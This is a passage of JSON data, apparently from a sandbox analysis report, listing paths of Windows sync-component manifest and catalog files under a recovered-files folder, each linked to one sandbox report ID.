:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ca-..cia_14e21eba6dd01f70.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ca-es_c3c945ba3e394044.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_chr..-us_d733cdc5d64dd9f8.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_cs-cz_c62186f43ccc23a5.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_cy-gb_bb3b9ffc43d4c527.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_da-dk_635b671b33121fa4.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_de-de_6086fc5734e8743e.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_el-gr_091d29ea23fddccc.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_en-gb_01ef1732289dcc3e.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_en-us_0977d25023c68003.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_es-es_09432f3423ed71a8.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_es-mx_0b7a1cda22815553.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_et-ee_0302fac427f34e37.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_fa-ir_acb22f871635f9ec.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_fil-ph_4c9932ed5e24ef89.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_fr-ca_a470ef7d1b97ee30.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_fr-fr_abfaa53316bf880a.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_gd-gb_4897be7c0d6eef46.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_gl-es_4fcb66ba08d6e883.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_gu-in_4d3218680a8d33dd.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ha-..-ng_efa1a927d84240b2.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_he-il_f01a4cd4fd2e88f8.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_hi-in_f0d21b80fcbd01ca.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_hu-hu_f36b257afb1f5726.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_id-id_8fb72759f1ff6608.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ig-ng_90eadb37f13d4795.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_is-is_95bbe437ee324d10.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_it-it_96229b79edf16d88.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ja-jp_38481a86e10c7f63.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ka-ge_d685d3edd6c01dec.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_kk-kz_df69705bd114faed.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_kn-in_d9f6d7ffd498e52a.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ko-kr_dbb1f73bd37d4679.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_kok-in_8954f2bed0ca321e.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ku-..-iq_c46a9298ee4d9365.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ky-kg_d6650909d6f12c16.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_lo-la_77462a6ecae7305c.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_lt-lt_7f7d233cc5a51216.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_lv-lv_804a91c0c5235306.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_mi-nz_25bb53edb6274a60.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_mk-mk_1efedf2bba7e24b8.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ml-in_2048ffe9b9aae7ba.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_mn-mn_203304f1b9bb8620.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_mr-in_20082061b9db8f60.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ms-my_24ddc44fb6c143a2.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_mt-mt_229b507db83648f0.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_nb-no_c4447870aba27235.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ne-np_c4958fdaab71ca8f.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_nl-nl_c283c3aeacce7c0a.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_nso-za_30759cdc1af7521b.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_pa-..-pk_a75d382b17f9fbbf.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_pa-in_0a1abb2891050c0a.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_pl-pl_08c01e3091f0e9be.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_prs-af_3dff0e07e96f2c20.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_pt-br_0b1408d4907a7da2.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_pt-pt_0bf5d8408fe9ed7e.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_quc..-gt_2a57c6783ce9c022.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_quz-pe_70168e91317ac39f.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ro-ro_50309e787650b8da.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ru-ru_5298ea0474cb7baa.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_sd-..-pk_e84e7b1b3fcd2927.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_si-lk_f1ca2e0169d4828b.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_sk-sk_f1b3eeb169e56dd4.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_sl-si_f0c610696a7f80b7.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_sq-al_f1e6306769cb4caf.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_sr-..-ba_4dd9cfb77e69eefb.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_sr-..-rs_542fa3ff7a6c2e5d.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_sr-..-rs_96f678addf9127e8.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_sv-se_ee93d4796bf48605.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_sw-ke_ee89bacd6bfbd4ee.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_te-in_96688b9c5b69f0b2.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_tg-..-tj_a5e21f1c9ac1371e.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_th-th_939df62c5d394346.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ti-et_98e6d22059d4151c.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_tk-tm_95b52a4e5be4adbc.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_tn-za_9041dbb25f696501.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_tr-tr_97a11ec05ab087f6.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ug-cn_3971b87d4e0aac07.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_uk-ua_3381016751e1ae42.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ur-pk_37a50ba74f401efa.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_uz-..-uz_7b3c07d16f86f6aa.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_vi-vn_dc78abd640ade815.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_wo-sn_7f5654af336f6011.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_xh-za_1cfbcb5e297d323f.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_yo-ng_c2789c671a8ffaad.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_zh-cn_68fe3cbe0ae85a15.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_zh-tw_6cfa7a1408593685.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_zu-za_62abc4740f08d7ee.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncutil_31bf3856ad364e35_10.0.17134.1_none_ac07bc780c55bac6.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\microsoft-onecore-applicationmodel-sync-desktop-fod-package~31bf3856ad364e35~amd64~~10.0.17134.1.cat","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\microsoft-onecore-applicationmodel-sync-desktop-fod-package~31bf3856ad364e35~amd64~~10.0.17134.1.mum","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\microsoft-onecore-applicationmodel-sync-desktop-fod-package~31bf3856ad364e35~wow64~~10.0.17134.1.cat","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\update.cat","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\update.mum","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-onecore-a..od-wow64-deployment_31bf3856ad364e35_10.0.17134.1_none_3cfd55ef5791c82f.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..-activesyncprovider_31bf3856ad364e35_10.0.17134.1_none_af4043f89451de7e.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..-syncutil.resources_31bf3856ad364e35_10.0.17134.1_en-us_28277b9606d3ec06.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_cs-cz_20835d8c52defe66.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_da-dk_bdbd3db34924fa65.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_de-de_bae8d2ef4afb4eff.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_el-gr_637f00823a10b78d.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_en-us_63d9a8e839d95ac4.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_es-es_63a505cc3a004c69.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_fi-fi_02c00a792f1a3e93.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_fr-fr_065c7bcb2cd262cb.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_hu-hu_4dccfc13113231e7.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_it-it_f084721204044849.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_ja-jp_92a9f11ef71f5a24.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_ko-kr_3613cdd3e990213a.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_nb-no_1ea64f08c1b54cf6.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_nl-nl_1ce59a46c2e156cb.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_pl-pl_6321f4c8a803c47f.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_pt-br_6575df6ca68d5863.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_pt-pt_6657aed8a5fcc83f.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_ru-ru_acfac09c8ade566b.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_sv-se_48f5ab11820760c6.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..aphostres.resources_31bf3856a